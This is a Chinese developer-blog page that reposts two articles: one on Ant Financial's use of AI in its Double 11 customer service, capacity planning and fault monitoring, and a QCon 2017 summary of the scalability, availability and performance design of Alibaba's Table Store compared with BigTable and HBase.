  1. 大量 用户行为数据 是一切的基础。蚂蚁金服为实现“未问先答”而采集的数据主要有以下几种:一是通过客服加工过的有规则的精准因子,即这个用户具备什么样的特征,意味着什么样的问题;二是大量用户在支付宝操作、点击、页面跳转行为轨迹的特征;三是客户在服务渠道上咨询过什么问题、求助过几次;四是用户在支付宝、服务端描述过的,和他的需求相关的文本信息。
  2. 通过深度神经网络 算法加工 数据。不同数据加工方式不一样,比如轨迹类数据使用 RNN 模型,从而能更好地表现建模时间的先后顺序;对于用户画像和人工设计的精准因子会使用全连接的神经网络;对于文本数据则使用注意力模型。本质上就是在海量特征和标类问题之间进行匹配,精度相对比较高。
  3. 持续不断的 反馈学习。一次性做完可能很容易,但是结果通常不会一次就达到理想水平,因此需要利用反馈数据进行自学习优化。正负反馈都能进一步优化模型的训练,整个过程是数据闭环和自学习的过程,蚂蚁金服三月份就上线了这一模型,但是运转了约半年以后这个模型才相对成熟,甚至很多数据采集其实很多年前就开始了,但也经过了 1-2 年的沉淀才真正将数据投入应用。

今年,智能客服的“未问先答”技术首次运用于双 11。在人工智能的帮助下,新客服系统能预判用户可能碰到的问题,从被动型服务(等待用户来提问)转为主动型服务(提前预知用户可能存在的问题并提供解决方案),进而提高服务效率和用户体验。

3 AI Everywhere
沟通会上,胡喜回忆起三四年前的双 11,感慨万千。他说道:“以前的双 11,技术保障团队差不多三四百人,从年初开始准备,这些人很多事情都不做,就是要支持双 11,一次双 11 做完以后非常累。”而今年,智能化系统已经可以辅助人工进行系统容量预估和自动扩容。

除了容量预测和智能客服,人工智能也被应用到了双 11 的故障监控中。所有系统运行数据输入相应的机器,由机器进行训练,训练后生成模型,系统运行时模型输出的值是否合理不再由人来判断,而是由机器自动判断,从而快速发现系统异常。

胡喜表示,今年是 AI 的实验期,对于金融系统来说最大的挑战是可靠性和安全性,如何在保证系统智能化的同时提升系统的可靠性和安全性,一直是蚂蚁金服追求的方向。“今年蚂蚁金服已经把 AI 能力先应用在一些点上,比如故障预测、容量预测等,明年我们还会推出一个内部叫做免疫系统的平台,专门做故障自动发现和恢复的事情。”

胡喜感叹:“2017 年‘大考’,All in 支付技术保障只需要一个弹性化的小团队,而无需占用大量人力。这意味着‘天猫双 11’越来越常态化。 翻看几年前双 11 的老照片,照片里满公司的帐篷、睡袋,感觉已经是很久远的事情了。”

这背后,是技术在变得越来越智能化。

今日荐文

点击下方图片即可阅读


禅与互联网技术:龙泉寺的程序员们


渴望了解更多双 11 背后最新的技术架构?12 月 8-11 日,请前往由 InfoQ 举办的 ArchSummit 全球架构师峰会 北京站,大会与阿里巴巴合作策划了 双 11 架构专场,并邀请了顶级技术专家担任出品人,设置了“新一代 DevOps”、“人工智能与业务应用”、“架构升级与优化”等 17 个热门话题,更多详情可点击 阅读原文 了解大会日程。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

QCon 2017分享总结——分布式系统设计的几点思考

发表于 2017-11-13

在QCon2017的基础设施专场,笔者以表格存储[1]为基础分享了分布式系统设计的几点考虑,主要是扩展性、可用性和性能。每个点都举了一个具体的例子来阐述。这里对这次分享做一次简单的总结,细节见文后slice。

首先,说到了表格存储产生的背景。

图1 表格存储出现的背景

上面介绍,大规模、弱关系数据,对灵活schema变动的需求,传统数据库无法很好的满足,NOSQL的出现是一个很好的补充。NOSQL不是为了取代SQL,也无法取代SQL,是已有数据库生态的很好补充。我认为未来会出现更多种类的数据库,面向不同的业务,使用不同的硬件,数据库市场将迎来更多的成员。

下面描述了表格存储的功能、生态、架构以及数据模型,有了这些基础才能更好的理解后面的内容,比如面向公共云服务的产品和面向企业内部的产品在架构设计的时候会有不同的权衡。

图2 表格存储一览

下面介绍分布式系统第一个要素,扩展性。扩展性是个很广泛的话题,我们只讨论系统能否尽快的利用更多的机器资源。很多分布式系统都有分区的概念(Partition, Segment, Range …),分区就是将单体切割为多个子单位,这样才有可能利用多个物理机器。但是何时切割、如何切割、切割后怎么办都是值得讨论的问题。下面讨论的是其中一个子问题,就是如何切割。

图3 在连续分裂能力上,表格存储 vs HBase

熟悉HBase的同学知道,HBase在一次分裂之后,需要做Compaction才能继续分裂,而Compaction时间持续可能数个小时,也就意味着数个小时内无法进一步分裂从而分担读写压力。表格存储支持连续分裂,也就是1个分区分裂成2个后,可以立刻继续分裂。那么,为什么表格存储要支持连续分裂呢?主要原因在于公有云多租户服务和企业内自用产品的不同。对于表格存储而言,用户点点鼠标就可以开通,业务访问随时可能大幅上涨,用户不会提前告诉我们,即使告诉了我们也没那么多人随时响应。而访问量上涨有很大的可能导致分区内访问热点,这些热点会导致延时上涨或者访问错误,需要系统能够快速的处理,否则就要赔钱。这时候系统必须具备连续分裂的能力,1个分裂成2个,2个分裂成4个…
。HBase更多的是作为一个软件,在企业内部由专门的DBA独立运维。而在企业内部,业务一般可以预期,很难出现运维不期望的巨量上升,所以对于HBase而言,连续分裂的必要性就降低了。这个不同,看似技术的不同,实际则是用户不同、产品形态不同带来的的不同选择。

再介绍分布式系统第二个要素,可用性。可用性就更是一个关乎全局的话题,全链路上任何一点风吹草动都可能影响可用性。我们这里将可用性的讨论局限在硬件故障,局限在机器down这个很小的层面上。众所周知,分布式系统能够自主应对少部分机器down而不需要任何人工干预(如果不是,那一定是假分布式系统),以尽可能的减少因为机器down而产生的服务中断问题。此时,不同的系统有不同的设计抉择,服务中断时间各不相同,作为用户会希望服务中断时间越短越好。

图4 在down机可用性上,表格存储 vs BigTable/HBase

我们这里以谷歌的BigTable以及开源的HBase为例来介绍。谷歌BigTable和开源HBase都采用在worker层聚合日志以提高性能。这个思路很好理解,就是将多个分区的日志聚合在一起,写入文件系统中,这样就能减少文件系统的IOPS,提高性能。但是,这对可用性是个很大的伤害,因为一旦机器发生down机,日志文件需要被读出来按照分区进行分割,这些分割完的日志文件再被相应的分区replay,然后相应分区才能提供服务。显然,上面这个过程会使得机器down时分区不可用的时间变长(想想看谁来分割日志呢?这是否会成为瓶颈?)。如果考虑到全集群重启,或者交换机down导致较多机器失联,那么其对可用性的影响将十分可观。这里是一个可用性和性能的权衡,表格存储在设计之初,是选择了可用性的,也就是每个分区有独立的日志文件,以降低在机器failover场景下不可服务时间。但是这是否意味着性能的下降?是的,但是我们相信可用性优先级更高,而性能总会被解决,后来我们也找到了非常不错的办法,见下面描述。

本节讨论分布式系统设计的第三个问题,性能。性能总是能让程序员热血沸腾,吭哧吭哧码了那么多代码,如果性能有了显著的提升,真是让人十分开心的事情。前面说,为了可用性,我们放弃了性能,难道就一直忍受吗?作为有骨气的程序员,显然是不能接受的。现在难题是必须在不伤害可用性的前提下,提高性能。其实说到性能,有两个基本的招数,就是聚合和拆分,然而在哪里聚,在哪里拆是一个设计的抉择。

图5 全链路视角权衡聚合的层次,考虑可用性和系统通用性

如上图所示,就是聚合时机选择的问题。BigTable和HBase的核心思想是聚合以减少IOPS,从而提高性能;那么聚合是否一定要做在table server这一层做呢?是否可以下推做到分布式文件系统层?结论是当然可以,而且效果更好,受益方更多。具体架构见附件里面的说明,我们通过将聚合下推到文件系统、RPC层小包聚合、Pipeline传输等大幅改进了性能,在可用性和性能之间取得了很好的平衡。当然,随着硬件的演进,未来可能磁盘控制器就把聚合做好了,上面的应用都不需要关心,这样受益方就更多了。

至此,我们聊到了分布式系统的扩展性、可用性和性能,并以实际的例子进行了分析。下面就介绍一个表格存储的特性,PK串行自增列,在消息推送、分布式ID生成、Feed系统中非常有用。这是一个很好地例子,来展示作为一个平台,如何向用户学习。附件中给出了PK自增列用于消息推送系统的例子,这方面我们写过不少文章,见[3][4]。

图6 向用户学习,表格存储提供串行PK自增列

以上就是分享的核心内容,大多是笔者的一些实践总结,没有上升到理论高度,难免有一定的片面性,欢迎探讨。表格存储钉钉交流群:搜索群号11789671加入,群名是“表格存储公开交流群”。目前表格存储引擎组在北京、杭州均有团队,我们也在努力寻找KV存储/SQL引擎优化人才,欢迎讨论。

[1]. 表格存储:www.aliyun.com/product/ots

[2]. QCon 2017资料: ppt.geekbang.org/qconsh2017
[3]. 高并发IM架构:yq.aliyun.com/articles/66…
[4].
打造千万级Feed流系统:yq.aliyun.com/articles/22…
[5]. 演讲PPT下载:ppt.geekbang.org/slide/show/… (QCon)或yq.aliyun.com/attachment/… (云栖)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…947948949…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%